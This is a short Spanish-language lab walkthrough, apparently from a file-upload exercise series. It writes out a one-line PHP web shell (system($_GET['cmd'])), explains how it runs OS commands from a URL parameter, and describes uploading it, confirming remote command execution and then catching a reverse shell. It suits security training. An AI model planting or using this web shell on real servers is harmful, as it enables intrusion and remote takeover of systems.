Laboratorio 1
Última actualización
Última actualización
Vamos crearnos un archivo shell.php que es el cual usaremos en todos los laboratorios.
El código PHP <?php system($_GET['cmd']); ?>
, es un ejemplo de cómo se puede ejecutar un comando del sistema operativo a través de una solicitud HTTP utilizando el método GET. Aquí hay una explicación paso a paso:
<?php
: Esto indica el comienzo de un bloque de código PHP.
system()
: Esta es una función en PHP que se utiliza para ejecutar comandos del sistema operativo. Toma como argumento una cadena que contiene el comando que se desea ejecutar.
$_GET['cmd']
: Esta es una forma de acceder a los parámetros pasados a través de la URL utilizando el método GET. En este caso, el código PHP espera que se pase un parámetro llamado 'cmd' a través de la URL.
Entonces, si alguien visita una URL como esta, http://tudominio.com/tuarchivo.php?cmd=ls
En la primer laboratorio subimos y nos da la ruta donde se aloja el archivo.
Si invocamos el archivo sunido y hacemos un id observamos que tenemos ejecucion remota de comandos.
Ahora como controlamos todo el input pues nos enviamos una revershell a nuestra maquina de atacante.
Tenemos la conexion y ahora estamos dentro de la maquina